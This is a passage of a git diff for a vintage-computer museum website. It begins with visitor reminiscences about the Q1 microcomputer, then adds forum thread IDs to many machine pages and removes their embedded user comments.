https://www.thebyteattic.com/p/q1.html https://github.com/TheByteAttic/Q1 Hoping to hear from you! (You can contact me at bernardo_kastrup at hotmail dot com)' - - author: Gunnar Lilienberg (Sverige) - date: Sunday 24th July 2022 - text: '@Roland (Germany): 40 years ago, I developed programs for the Q1/Lite. In order to do anything with your Q1/Lite, you need a diskette (or an attached hard disk drive) with the program(s) you need to run. You simply start the execution of a program by typing the name of the program and press the Return button. The Q1 then starts searching for the program on the drives 1, 2, 3 and 4 (8 inch floppy disk drives), followed by the drives 5 and 6 (5 1/4 inch floppy disk drives) and finally the disk drives 7 and 8 (hard disk drives). The configuration of your Q1/Lite may consist of only a few disk stations of this maximum possible disk configuration. If you do not have any program disks, there is not much you can do with the computer, I''''m afraid. Without documentation, you are also pretty lost. I do not have any documentation left, I''''m afraid.' - - author: Roland (Germany) - date: Friday 3rd June 2022 - text: HI, I''ve got a Q1/Lite, dated 1979, together with a printer. The system starts up saying "Q1/Lite at Your Service" - that''s all. No response to the keyboard. Unfortunately I don''t have manuals/schematics - who can help and provide me with more information ? Roland - - author: Bob Frazier (New York) - date: Thursday 5th August 2021 - text: My first job in technology. Worked there from early 80s to nearly the end in 1989. Started in the Test department, did Field Service, and in the end did a little bit of everything. We went from around 500 employees to me, the receptionist, and the president (Glen Malm). Moved from Hauppauge, to Coram, to Medford, and after I left I think it moved to Glen''s garage. - - author: Victor Robert Steiner (Australia) - date: Wednesday 26th May 2021 - text: Togther with "Danny" Alroy and one other, I established Q1 Far East Pty Ltd in Hong Kong in the very early 1970''s - long before many of the entries below. I provided space in my office in the Tak Yan Commercial Bldg on the 6th floor at 30-32 D''Aguilar Street, Central Hong Kong. Our plan was to start with selling and installing the Q1 LMC in HK and then sell into China.There were three Directors of the company - Danny, myself and an extremely intelligent HK Chinese who was a US graduate in Computer Science. He was a key input into the use of PL/1 on the system (I truly regret and apologise that I can''t remember his name). - - author: Victor Robert Steiner (Australia) - date: Tuesday 25th May 2021 - text: Daphne. I am sorry to hear of "Danny" Alroy''s passing early this year. I met him in Hong Kong late in the 1960''s. I had just resigned from the Australian Army and set up a trading company. We formed Q1 Far East Ltd to market the Q1 Micro System in the region - hoping to eventually break into China (I am a Chinese linguist - courtesy Australian Govt). I was a Director of that company, along with a young Chinese man educated in the US in Electronics (struggling to remember his name). I have scanned my Q1 business card of those days and will email copies to you. Regards Victor - - author: Daphne Alroy (Thiberge) (United States) - date: Sunday 28th February 2021 - text: 'For those who aren''''t aware, Daniel Alroy, who founded Q1 corporation, passed away in Manhattan on January 31, 2021. I am his daughter. We are compiling his archives, so it would be so wonderful if you could send me anything at all related to his life and work. My email address is: daphnet123@gmail.com. He is survived by me, his ex-wife Eva Alroy, and three handsome grandsons, as well as a small cluster of family members. Blessings, Daphne Alroy' - - author: gregory blake (ronkonkoma) - date: Wednesday 4th December 2019 - text: |- - I worked at Q1 when it started out in farmingdale in the mid 70''s- early 80''s\ - worked as a bench tech then field service. worked there about 5 yrs\ - worked with Glen Malm and a bunch of other great guys, Those were the days. we were exhibiting in MGM grand during COMDEX when the MGM had the Fire that took 82 lives. while i was with Q1 we went from the 8080 to the z80. 8 inch floppys to 5 1/4 inch floppys\ - also offered Ball Multi platter drives, had a console with a daisy wheel printer and Liquid plasma display.\ - even had a commercial on tv during the very first space shuttle launch. - - author: Mark Bellon (San Jose CA USA) - date: Sunday 25th August 2019 - text: |- - WOW! I still have some of the manuals! They include the pseudo ops for the PL/1 interpreter (removed from later manuals as this gave away things). - - Let''s see I remember Hope, Sandy, Coleen/Doreen (twins, forget which one worked there), and John... amongst others. A sales person Charles (Castelli?). - - I came up with a paired set of Q1 Lite by replacing some of the ROMs and using a sync. modem. This allowed remote access. - - DTERM, the terminal program was mine too. Karl provided some of the base code, written is assembler. - - I did a simple Real Time Executive (RTE) that allowed two program to run "at the same time"... provided memory was allocated just so (no memory protection). - - Many of the utilities were written in the PL/1 dialect although once we have C, we wrote some in that too. - - For many decades my computer desk was an old Q1 desk, from an LMC. The frame has room for up to 4 8" floppies. It''s long gone now... - - I remember after Rick had left he was called back in as a consultant to fix a complex issue with ENTER, the word processor. - - Another memory, playing with the bubble memory machine. As I recall multiple 92 KiB modules. - - John was in the MGM Grand fire but survived without a scratch. As I recall all Q1 personnel made it out OK. - - author: Mark Bellon (San Jose CA USA) - date: Sunday 25th August 2019 - text: |- - Hey Donald, Karl, Bob! Hey Rick! - - I worked @ Q1 too, 1978 and on. I did lots of work on the utilities (e.g. sort, serial communication), worked with the early C compiler (Donald, as I recall you did a lot on it), math libraries and other items. - - I left while the 68000 machine was being finalized. - - author: Donald P. Sellari (St Augustine Florida USA) - date: Sunday 17th March 2019 - text: I worked at Q1 from 1979 to 1982 as a systems programmer. Most of the utilities were written in PL1. The compiler and linker by Rick Smetts were brilliant. I implemented fomatting/conversion of 8" IBM diskettes, 5 1/4" diskettes, and CP/M on the Z80 Q1 Lite. - - author: Cathy (chander az) - date: Wednesday 30th August 2017 - text: My father passed away and I found some old Q1 Corp stock certificates. I assume they''re worthless but thought I''d ask. - - author: James Bell (Austin, TX) - date: Sunday 23rd July 2017 - text: 'I worked for Balcones Computer Corp. in the late 70''''s and early 80''''s working with the dynamic duo: Robert Burns and Jay Bell. Together they consulted for numerous companies on CP/M and BIOS micro code and utilities software. We had upgraded a Q1 from the standard 48K to 64K of memory and configured a CP/M setup for the Q1. It''''s possible the BIOS code was updated as well. I did not work personally on the system but it was in the same lab I worked in (called "The Shack"). I vaguely recall the customer was from Portugal.' - - author: Jim Bennett (Southampton) - date: Sunday 28th May 2017 - text: |- - The company developed a mass storage device which allowed a number of Q1 computers to network together - - I can remember the amusement of the French when we exhibited in Paris apparently Q1 has a different meaning in french - - author: Rick Smets (Beverly Hills CA) - date: Tuesday 11th October 2016 - text: |- - Some problems with the first attempt at posting so I''ll try again.\ - I wrote the operating system, the PL1 compiler, the word processing application and designed the floppy disk controller. Later, I designed a server for networking many Q1 computers while working for an affiliate in England. Read about it on homepage URL. I included the sex scandals. - - author: Rick Smets (Beverly Hills CA) - date: Tuesday 11th October 2016 - text: I wrote the operating system, the PL1 compiler, the word processing application and the floppy disk controller. Later I designed a server for networking many Q1 computers while working for an affiliate in England. Read about it on homepage URL. I included the sex scandals. - - author: TomTrottier (Ottawa, Canada) - date: Tuesday 24th March 2015 - text: Ooops, the MCM 70/700 weighed about 20 lbs. Still quite portable in my backpack. See the Wikipedia article. - - author: TomTrottier (Ottawa, Canada) - date: Monday 23rd March 2015 - text: The writeup is incorrect to say "The Q1 System remained the world''s only self-contained, general purpose microcomputer system until Intel introduced the 8080 second generation microprocessor. " Since the MCM 70/700 was introduced in 1974 using the 8008, with a plasma display and dual cassette tape drives. The MCM was far more portable, weighing only 4lbs. I may have been the first person to hitchhike with a microcomputer, in the summer of 1974.... - - author: Minny Driessen - date: Monday 16th September 2013 - text: In 1978/79? I worked for Daisy Systems Holland in Wijchen, Netherlands. At that time they were installing a Q1 computer system for the British Gorvernment in England if I remember correctly. Our in home office computer had 4 expansion slots for floppy disks, thinking back they must have been very advanced$ but I didnt realize it at that time. - - author: David Kavanaugh (Lake Ronkonkoma) - date: Friday 26th July 2013 - text: I had worked for them as well. It was my first job in microprocessor programming. I remember fixing a defect in their text editor that caused a $ of records for high volume disk packs. I also developed a code debugger where none existed before so I could fix the issue. Used it later for other areas. - - author: Joe Prevete (Searingtown, NY) - date: Friday 9th March 2012 - text: Also an employee from 1980-82...my first job out of college as a tech writer...I do miss those 8-inch floppy days...jprev. - - author: Karl Wacker (USA) - date: Sunday 4th December 2011 - text: |- - I worked for 6+ years at Q1. - - The 8008 system had an intigrated keyboard/ single line 80 charater plasma display and daisy wheel printer as a console, and 2 hard sectored floppy drives. - - I came on board just as the 8080 system was introduced $Q1/LMC$ it had in the console a keyboard, a 6 line 37 char plasma display and daisy wheel printer, and up to 4 floppy drives $8" single density, variable sector length from 8 - 511 bytes/sector$, 6K ROM, 8K - 48K RAM, custom operating system, and used a version oif PL/1, which could complile oand execute on a base system $8K RAM, single floppy$. - - The next generation was the Q1/LITE, Z80 based, 8K ROM, 16 - 48K RAM, 8 line plasma display,up to 4 double density 8" floppies, could share floppies or up to 2 27Meg Hard Drives over a 4-64 user network running at 307Kbaud, up to 1000'' between the server and a station. Varations included dual mini floppies with 8" dot matrix printer $MICRO-LITE$, diskless work stations for the network $keyboard and display only$, Mag tape, 300LPM line printer, Bubble memory $the bubble memory unit and the netowrked Hard Drive system was instaled in many NASA sites. The last versions included both 24x80 Plasma and CRT displays.\ - $I designed the hardware and software for the network, hard drive, mag tape, line printer, 24x80 CRT $ Plasma displays, dot matrix printer and other interfaces including a custom interface for a visualy impared NASA data entry operator, that allowed him to ''read'' the display and act as a voice ouput device instead of a printer$ - - They produced a 68000 based system as I was leaving them. - - author: Bob Norman (USA) - date: Tuesday 4th October 2011 - text: |- - These guys were probably the first! I almost went to work for them. They had another version of this in a desk similar to the DEC310 (PDP8 Mini) i had used for Federal Credit Unions. BUT they used a microprocessor. Considering the PDP8 was only just getting traction in business that was revolutionary. They were selling them all over the world and the team came from IBM World Computer Division previously.\ - I also believe they were caught in the MGM Grand Fire Tragedy at Comdex Vegas. Some may have been injured or died in that horrible event. Company barely a footnote today. What a shame. Good guys.\ - Certainly on the "Cutting Edge" back then. oc_id: 1286 source: url: https://web.archive.org/web/20230603023021/http://www.old-computers.com/museum/computer.asp?c=1286 diff --git a/content/museum/quasar-data-products-qdp-100.md b/content/museum/quasar-data-products-qdp-100.md index 53df1bdf..4091905e 100644 --- a/content/museum/quasar-data-products-qdp-100.md +++ b/content/museum/quasar-data-products-qdp-100.md @@ -60,6 +60,7 @@ params: value: $4,995 (two floppy disk version) tabs: - adverts + forum_thread: 583 adverts: - title: US ADVERT (APRIL 1982) subtitle: '' diff --git a/content/museum/quasar-data-products-qdp-300.md b/content/museum/quasar-data-products-qdp-300.md index 8b6621ad..3404b9c8 100644 --- a/content/museum/quasar-data-products-qdp-300.md +++ b/content/museum/quasar-data-products-qdp-300.md @@ -58,15 +58,7 @@ params: value: S-100 bus boards range - label: PRICE value: Unknown - comments: - - author: curt mayer (USA) - date: Saturday 4th September 2021 - text: I picked one of these up for a song earlier this year. I''m disassembling the rom, and it''s heavy going. are there any docs anywhere on this amazing double high board? - - author: Greg Bradley (Southern California, USA) - date: Monday 2nd July 2018 - text: |- - I became a dealer for QDP right about the time the 300 was introduced. The first 300 I received was September 1984 for $6795 List less 34$ so $4485 net. It was 1 floppy, 15Mb HD 4 user MPM with 256K Memory. The next one was a month later and the first of the high end version with 32Mb HD and a 512K Cache board. It was $9795 List.\ - The first one ran an Automotive Parts Importer for many years as we had to upgrade the software for Y2K compatability in 1999. + forum_thread: 603 oc_id: 616 source: url: https://web.archive.org/web/20230603010941/http://www.old-computers.com/museum/computer.asp?c=616 diff --git a/content/museum/quay-corporation-500-series.md b/content/museum/quay-corporation-500-series.md index fe137411..cea07abd 100644 --- a/content/museum/quay-corporation-500-series.md +++ b/content/museum/quay-corporation-500-series.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 568 photos: - title: MODEL 520 subtitle: '' diff --git a/content/museum/r-f-t-bss-01-bildschirmspiel-01.md b/content/museum/r-f-t-bss-01-bildschirmspiel-01.md index 8cd18ec8..8a5fb89f 100644 --- a/content/museum/r-f-t-bss-01-bildschirmspiel-01.md +++ b/content/museum/r-f-t-bss-01-bildschirmspiel-01.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 920 photos: - title: BSS01 subtitle: '' diff --git a/content/museum/r-f-t-kc-85-3.md b/content/museum/r-f-t-kc-85-3.md index 08b3cb36..816c3597 100644 --- a/content/museum/r-f-t-kc-85-3.md +++ b/content/museum/r-f-t-kc-85-3.md @@ -12,6 +12,7 @@ params: - software - links - docs + forum_thread: 540 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/r-f-t-kc-85-4.md b/content/museum/r-f-t-kc-85-4.md index b81cdc30..e04e7f55 100644 --- a/content/museum/r-f-t-kc-85-4.md +++ b/content/museum/r-f-t-kc-85-4.md @@ -12,6 +12,7 @@ params: - hardware - links - docs + forum_thread: 587 photos: - title: LARGE VIEW subtitle: '' @@ -95,19 +96,6 @@ params:  compiled/archived by Compiled/archived by Thomas Stein\  type of document : PDF\  source : Thomas Stein - comments: - - author: Michael Weigel (East Germany) - date: Thursday 7th April 2011 - text: |- - The last Computer of the KC series was the KC-Compact in 1990. - - This mashine is 100$ Amstrad CPC compatible, with the optional floppy disk controler, the RAM was expanded from 64kb to 128kb for using CP/M+ - - For detailed KC85 informations and documentations look at: - - www.mpm-kc85.de (german and english language)\ - www.upka.de (lots of documentations in PDF, german)\ - http://susowa.homeftp.net (one of the maincoders for KC85/4, german only) related: - /museum/r-f-t-kc-85-3 - /museum/robotron-kc-85-1-z-9001 diff --git a/content/museum/r2e-micral-8020-series.md b/content/museum/r2e-micral-8020-series.md index 0d1a3f4c..917e9d6c 100644 --- a/content/museum/r2e-micral-8020-series.md +++ b/content/museum/r2e-micral-8020-series.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 850 photos: - title: SYSTEM subtitle: '' @@ -129,15 +130,6 @@ params: subtitle: '' text: Self confident advert where R2E self proclaims itself the first European micro-computers company. image: null - comments: - - author: FRANCOIS ERIC (France) - date: Wednesday 3rd August 2016 - text: |- - Hello, - - I have an Bull Micral R2E I have picture of this computer if you like I send you pictures - - Sincerely oc_id: 869 source: url: https://web.archive.org/web/20230330081313/http://www.old-computers.com/museum/computer.asp?c=869 diff --git a/content/museum/r2e-micral-8030-series.md b/content/museum/r2e-micral-8030-series.md index a33e7483..d3f67dab 100644 --- a/content/museum/r2e-micral-8030-series.md +++ b/content/museum/r2e-micral-8030-series.md @@ -64,6 +64,7 @@ params: value: Unknown tabs: - photos + forum_thread: 938 photos: - title: LARGER VIEW subtitle: '' diff --git a/content/museum/r2e-micral-n.md b/content/museum/r2e-micral-n.md index 45d2a1e3..10e6e147 100644 --- a/content/museum/r2e-micral-n.md +++ b/content/museum/r2e-micral-n.md @@ -50,6 +50,7 @@ params: value: 8,500 French Francs (about $1300) tabs: - photos + forum_thread: 356 photos: - title: FIRST VERSION? subtitle: '' @@ -59,36 +60,6 @@ params: subtitle: '' text: It doesn't look to the first model, perhaps it is an enhanced model. image: /media/museum/photos/mic2.jpg - comments: - - author: Achim (Germany) - date: Thursday 24th June 2021 - text: If I had only one wish regarding a computer system for my collection, it would be the Micral. Unfortunately, I missed the auction in France where Paul Allen purchased a Micral. There are more in France and I am grateful for any tip / offer. I can be reached through my website. - - author: technology history junky - date: Friday 16th August 2019 - text: |- - nitpick: it is not fair description to call the 8008 "8-bit 4004".\ - the 4004 was very limited intel in-house design, and not much was left from this - i think the 4040 and there the dynasty ends/ - - the 8008 was built to CTC instruction set, same as datapoint 2200, which was a reasonably capable processor. (interesting tidbit is that CTC also asked TI to build one, not just intel. they came up with a chip, and had samples, but very few people ever saw one, let alone a working circuit with one).\ - its weaknesses were the straight jacket of 18-pin package, and only 14 address bits, so only 16K.\ - the 8080 added a lot more than just the 40-pin package and 16 address lines, but it''s hard to argue that those were the main difference. - - it is fair to say that the 8008 was closer to the 8080 which started the revolution than to the 4004/ i believe the instruction set of the 8008 is the foundation of the 8080, which was the foundation of the 8086, and all the way to the intel engine which still runs the world to this day. - - author: Ed Sharpe (az) - date: Tuesday 7th November 2017 - text: |- - Later in life when Bull owned them there was a z-80 with either just floppy or floppy and hard drive... I have a catalog of an outfit surplussing a group of them in USA called DEALIN'' ELECTRONICS in Palo Alto. Date?\ - Ed Sharpe archivist for SMECC - - author: David Lowry - date: Monday 22nd August 2016 - text: I am a teenager and i like old computers! - - author: Dr. Darrel VanDyke (U.S.A.) - date: Tuesday 20th January 2015 - text: I am writing a book about the 1970''s computer era, and find Mr. Beckmann''s information quite helpful. I have some questions about the company finally went out of business - could he describe what happened to things like support of the system, how it was programmed, and how Bull got in the picture? - - author: beckmann (Plouhinec (29) France) - date: Thursday 24th August 2006 - text: 35 years later am happy to read this page of history on Micral, an important event in my life which I'll never forget. Thanks to François Gernelle, an ignored genius. To precise things, Truong Trong Ti already was the R2E's president when story began in 72's but, as stated, never brought anything to the Micral. Only François and his team did it. I was'nt in charge of mechanical as written but developed all I/O boards and magnetic storage peripherals controllers. Lacombe designed memories, I/O high speed channel, power supply and the key front panel. Other technicians then participated to other Micral versions, like the S, G and M (multi-processor). Unfortunately, when Bull acquired the company under Truong's benediction, better than developing it and make Micral THE microcomputer of the world, prefering to abdicate to Microsoft, they killed R2E and the golden eggs chicken. That's the french way to develop computer technology... All Bull's acquisitions died years after. In France, - there's no longer companies involved into computer technology, thanks to Bull. Jean-Claude Beckmann oc_id: 352 source: url: https://web.archive.org/web/20230616135647/http://www.old-computers.com/museum/computer.asp?c=352 diff --git a/content/museum/r2e-portal.md b/content/museum/r2e-portal.md index 6f3d7ed0..34647a9a 100644 --- a/content/museum/r2e-portal.md +++ b/content/museum/r2e-portal.md @@ -42,6 +42,7 @@ params: value: one 5.25" floppy disk unit (140 KB) - label: OS value: PROLOGUE + forum_thread: 211 oc_id: 201 source: url: https://web.archive.org/web/20230604044555/http://www.old-computers.com/museum/computer.asp?c=201 diff --git a/content/museum/rabbit-computer-rx83.md b/content/museum/rabbit-computer-rx83.md index 36e54313..4b9c358a 100644 --- a/content/museum/rabbit-computer-rx83.md +++ b/content/museum/rabbit-computer-rx83.md @@ -71,6 +71,7 @@ params: Coleco & Atari VCS carts adaptater ! - label: PRICE value: $99 (USA, 1983) + forum_thread: 1293 oc_id: 1328 source: url: https://web.archive.org/web/20230130122650/http://www.old-computers.com/museum/computer.asp?c=1328 diff --git a/content/museum/rabbit-computer-wrap-bit-ii.md b/content/museum/rabbit-computer-wrap-bit-ii.md index 0806a47e..a1231d5d 100644 --- a/content/museum/rabbit-computer-wrap-bit-ii.md +++ b/content/museum/rabbit-computer-wrap-bit-ii.md @@ -53,6 +53,7 @@ params: tabs: - photos - adverts + forum_thread: 1294 photos: - title: WRAP BIT II COMPUTER subtitle: '' diff --git a/content/museum/radio-shack-tv-scoreboard-handheld.md b/content/museum/radio-shack-tv-scoreboard-handheld.md index 57c6b0a0..e508075f 100644 --- a/content/museum/radio-shack-tv-scoreboard-handheld.md +++ b/content/museum/radio-shack-tv-scoreboard-handheld.md @@ -10,6 +10,7 @@ params: tabs: - photos - links + forum_thread: 702 photos: - title: INSIDE subtitle: '' @@ -35,58 +36,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Jeff (US) - date: Monday 31st August 2015 - text: The video game came out through Tandy between 1976-early 80''s. I would guess if the box and instructions and all the connectors were with it could fetch a couple of hundred at best - - author: Pete (Seattle) - date: Saturday 21st December 2013 - text: I have a Raido Shack T.V. scoreboard that I dug out of the attic so my grand kids could play with it on Christmas. I set it up and it works like the day we bought it. Thats the problem, we can''t remember when we bought it new, and there is no date on the box or on the instuction sheet. It''s a hand held. Anyone have an idea of the age? - - author: T.K. Dunbar (USA) - date: Wednesday 3rd April 2013 - text: I didn''t have this model - I had one that had control levers - mounted on separate rectangular controllers - 3 or 4 games - Pong - Double-Pong? - Hockey - and Soccer? - in some ways it seems better - more advanced than this - but I know I got it for Christmas in the late 70''s (77?) and it cost under $20 - which was the family limit for Christmas gifts - I know most people would think we were poor - but I knew other people who got less or nothing, and I never felt bad about getting less than most of my neighbors. I learned to play pong with myself - left hand versus right - full English - fastest speed - in my family, this was the toughest opponent I could find. - - author: Joe (USA) - date: Friday 20th July 2012 - text: How do you connect one of these to a new LCD TV? I have mine from when I was a kid and want my kids to see how video games started. - - author: Matty (SE Qld. Australia.) - date: Sunday 18th March 2012 - text: |- - G''day. I have a TANDY electronics- tv scoreboard. Fully complete $ working unit, 6 games $ the gun. It''s all still in the original box. Been in the family since day dot. Back in my day!!! lol...\ - I''m MATT, I''m in SE Qld, Australia. I can be contacted at matwhite68@gmail.com\ - Looking to sell unit, open to offers!\ - Think I still have a vic20 floating around somewhere too! lol... - - author: Edward Rudd (USA) - date: Monday 5th March 2012 - text: I want to find an adapter for mine so I can hook it up to my TV :-D - - author: nolan - date: Saturday 19th February 2011 - text: |- - hey how much is one of these worth becuz i recently got one and im planning on selling it - - email me at: nolanman62@gmail.com - - author: Kyle (USA) - date: Tuesday 3rd August 2010 - text: Wow I actually get some info on these. I have one that has actually never been used. It still is packed in its original wrapper! LOL! - - author: Charles (Earth) - date: Tuesday 12th April 2005 - text: I remember this game. Any time some one was playing squash or tennis and you had the gun connected you could shoot the ball. - - author: David Lenti (Struer, Denmark (formerly Massachusetts)) - date: Tuesday 11th January 2005 - text: We too had one of these consoles as kids - and loved it. Does anyone know how the gun function actually worked? CRT televisions were not interactive back then as far as I know. - - author: zak (vancouver) - date: Sunday 29th August 2004 - text: |- - i got one of these little gajet's at a garage sale a hour ago.dosen't work:-(\ - anyone have some ideas? - - author: qonos (Seminole, Ok) - date: Saturday 10th July 2004 - text: Hey, it's great to see this! I remember my uncle bought one of these for my brother & I in between the Sears Pong game & the Atari... loved it because it was easy to travel with and it had the target shooting game! The gun itself is still in my parents house as a toy for the grandkids! Killer! - - author: john k (iowa) - date: Tuesday 16th March 2004 - text: i got one of these at a grage sale about a year ago in the original box(#2) for $2.50 i thought these came out in the late 70's but i dunno - - author: Ryan Thornton (St. Louis, Missouri) - date: Monday 6th January 2003 - text: Wow, I had this as a kid, back before we bought our Atari 2600. The gun wasn't much fun, but there were a few tricks to do with the master controller. If you adjusted the main game selector knob and placed it between two games, then the master control would get an extra paddle on that particular game. I think Hockey was my favorite. related: - /museum/gorenje-geti-3220 - /museum/philips-n20 diff --git a/content/museum/radiola-vg-5000.md b/content/museum/radiola-vg-5000.md index 92db85b1..34580fba 100644 --- a/content/museum/radiola-vg-5000.md +++ b/content/museum/radiola-vg-5000.md @@ -81,6 +81,7 @@ params: - emulators - links - videos + forum_thread: 1046 photos: - title: LARGE VIEW subtitle: '' @@ -123,22 +124,6 @@ params: - title: french TV advert url: https://www.youtube.com/watch?v=FIK8wQKKLQs text: 'Length: 31 s' - comments: - - author: Mark - date: Thursday 18th September 2014 - text: The Le Mans factory was built by Schneider ca 1959-60, and in 1971 La Radiotechnique joined in using the facilities. Le Mans produced radio and TVs (from parts to PCBs to assembly and QC), and May 1969 has seen the millionth Schneider TV exiting the plant. - - author: Maarten - date: Tuesday 27th November 2012 - text: |- - To clarify the time line: Some time during the 1980''s TV production is Suresnes was discontinued, but as can be seen from the production dates (also contained in the serial number or on separate stickers) they were already producing computers back then. - - The Schneider brand probably became Philips owned some time in the 1970''s, while the Radiola brand was already owned by RTC when Philips aquired them in 1931. - - author: Maarten - date: Tuesday 27th November 2012 - text: I''m pretty sure Philips was the owner of RTC since the 1930''s. Both TV sets and computers (Videopac series, early MSX models) were manufactured in Suresnes (serial number starting with S or SF) while Le Mans manufactured mobile phones (serial number starting with VY). I don''t know what products were made in Le Mans before the 1990''s, though. - - author: Mauryx71 (Battipaglia, ITALY) - date: Friday 18th November 2011 - text: Ho un esemplare di produzione francese di questo computer perfettamente funzionante, devo dire però che è un pò limitato, ha un layout simile allo Spectrum, purtroppo non ho documentazione che lo riguardi, c''è qualcuna che possa aiutarmi? related: - /museum/philips-vg-5000 oc_id: 1073 diff --git a/content/museum/radionic-model-r1001.md b/content/museum/radionic-model-r1001.md index 33e5472c..cb00f082 100644 --- a/content/museum/radionic-model-r1001.md +++ b/content/museum/radionic-model-r1001.md @@ -61,6 +61,7 @@ params: - hardware - emulators - links + forum_thread: 1267 photos: - title: RADIONIC COMPUTER subtitle: '' @@ -204,25 +205,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Parsivale (Australia) - date: Friday 30th August 2019 - text: One of the Tech''s from the company that sold the Komtek in Melbourne gave me a photocopy of all the schematics. I still have them... and my original Komtek still works too! I really loved that quirky machine. Sightly Improved with extra cooling and expanded keyboard etc. - - author: David Mutimer (Australia) - date: Wednesday 11th May 2016 - text: |- - Just a heads up but, Komtek''s were not made in Germany as most believe, they were made by Komtek Technology in Hong Kong. They ceased trading in early 1983. I ran the workshop for a company in Australia that used to import them direct from the manufacturer. - - I have two Komtek Computers, one in the off white and another in a silver case. I expect the radionic is not a clone but of the Komtek but a rebadged si8lver case Komtek. - - author: MAster BAiter - date: Thursday 21st April 2016 - text: This is the most potent computer I''ve ever seen - - author: Ibrahim M (UK) - date: Sunday 24th May 2015 - text: You do NOT want a radionics compoter latest modal - - author: dr syed nizam ali shah (MOHALLA SYEDAN P$O AND VILLAGE MANSAR ATTOCK PAKISTAN) - date: Saturday 18th January 2014 - text: I want radionics compoter latest modal plz help me related: - /museum/sysdata-eletronica-jr - /museum/tandy-radio-shack-trs-80-model-12 diff --git a/content/museum/radofin-electronics-limited-aquarius-2.md b/content/museum/radofin-electronics-limited-aquarius-2.md index 25ce315c..74fc2018 100644 --- a/content/museum/radofin-electronics-limited-aquarius-2.md +++ b/content/museum/radofin-electronics-limited-aquarius-2.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 89 photos: - title: LARGE VIEW subtitle: '' @@ -161,20 +162,6 @@ params: - title: Mattel Aquarius Yahoo Group url: http://groups.yahoo.com/group/mattelaquarius/ text: A place to discover, chat about, and just get general information on the Mattel Aquarius home computer. - comments: - - author: Wade (New Jersey, NJ) - date: Sunday 21st November 2021 - text: How much were you looking to get for it? - - author: Daniel (spain) - date: Saturday 6th February 2021 - text: Hi, do you still have the aquarius? - - author: Tom Kollien (Norway) - date: Monday 30th September 2019 - text: |- - I recently rummaged through my basement and stumbled upon one of these that I''ve owned since it was new! I didn''t remember what it was and was shocked to see that it was such a rare machine...\ - Unfortunately I only found the machine+PSU and 2 manuals. :(\ - I don''t really know what to do with it so consider selling it to finance some other project. I''m going to open it up and see how the insides are, but externally it''s almost like brand new from what I can see.\ - (I hope this site sends notifications...) related: - /museum/mattel-electronics-aquarius software: diff --git a/content/museum/radofin-electronics-limited-tele-sports.md b/content/museum/radofin-electronics-limited-tele-sports.md index 8b63ebb0..69890036 100644 --- a/content/museum/radofin-electronics-limited-tele-sports.md +++ b/content/museum/radofin-electronics-limited-tele-sports.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 703 photos: - title: BLACK MODEL subtitle: '' @@ -60,35 +61,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Rod (canada) - date: Wednesday 17th January 2018 - text: Gotta love that fake woodgrain finish. - - author: David (Mexico) - date: Saturday 13rd August 2016 - text: |- - "On the black version, the controllers are two big dials, whereas on the wooden model, the controllers are two vertical sliders..."\ - Mine was a black SC Eight Thousand with two controllers, but these had vertical sliders, not dials, just as the ones seen in this picture of a black four-controller version:\ - http://atariage.com/forums/uploads/monthly_09_2014/post-12488-0-44733900-1411266507.jpg - - author: andreameier - date: Monday 15th September 2014 - text: Anybody got the schematics of the Radofin TeleSports? Or know a RGB or AV-Mod? - - author: apostolos (HELLAS) - date: Saturday 13rd September 2014 - text: |- - I have a TATUNG TPC-2000 ant I want to sell it.\ - IS THERE ANYONE WHO INDERESTED $$932$$$927$ ? - - author: Brendon (United States) - date: Sunday 18th July 2010 - text: I have an SC Eight Thousand unit. Original owner. Mine is a grey molded housing with black top. No woodgrain whatsoever. My button colors are blue power switch, orange reset and green serve. It does have a small Kmart sticker on the top of the console. Maybe it was a private label version sold through them? I don''t have the box nor do I remember it. I was probably 4 when I got it... - - author: Olivier (Earth) - date: Monday 10th March 2003 - text: |- - Sorry but not much...\ - Check Ebay for prices, but pongs generaly are not worth much exept very original one or historic ones or analog ones... but the Radofin Tele-Sports does not belong to any of these groups... :( - - author: Sean Bastable (West Midlands, UK) - date: Sunday 9th March 2003 - text: Do you know how much Radofin Tele-sports models would be worth now? related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/rair-microcomputer-black-box.md b/content/museum/rair-microcomputer-black-box.md index 3e8e8a9c..2042329c 100644 --- a/content/museum/rair-microcomputer-black-box.md +++ b/content/museum/rair-microcomputer-black-box.md @@ -69,6 +69,7 @@ params: value: '64kb RAM and 2 x serial ports : 6097 (France, july 82)' tabs: - adverts + forum_thread: 449 adverts: - title: FRENCH ADVERT (JAN. 1982) subtitle: '' @@ -78,186 +79,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/rair_blackbox_pub_1.jpg - comments: - - author: Guenter H Krauss (Germany) - date: Thursday 7th April 2011 - text: I stumbled over this. The old days. We should probably plan an old get together with the crew. I see John and Tim commenting. What happened to Howard, Mark and Dave Fogden and the others? I have still lots of photos. Still a roll of poster from our hot-air balloon. What happened to "Technology For Business" after the bought us up. I remember they weren''t very happy about my balloon at the time. Is there a place we upload photos? - - author: $#/\wN (essex UK) - date: Thursday 2nd August 2007 - text: |- - Thanks John\ - that was a sad time.\ - Richard was my best friend then and still is.\ - I have a lot of his stuff still in my loft, photos taken at rair and I think the first talking computer he was Woking on at the time. If I remember correctly he was in a race to beat the US in getting a chip to talk, something like that anyhow, I know little about this tech stuff.\ - anybody know what happened to Richards home videos ? - - author: John Pettitt (California) - date: Monday 5th March 2007 - text: I never met Rick - if I recall correctly he died the same week I started working for Lifeboat Associates (we shared offices with RAIR) - Tim may remember him. - - author: $#/\wN (essex UK) - date: Monday 5th March 2007 - text: |- - Any of you Rair aware guys remember Richard Boustard at Rair until about 1981 ?\ - would be nice to hear from you.\ - Shawn. - - author: John Pettitt (California) - date: Saturday 11th December 2004 - text: The parts the the OS that Tim didn't write were written by me (hi Tim). - - author: Tim Hill 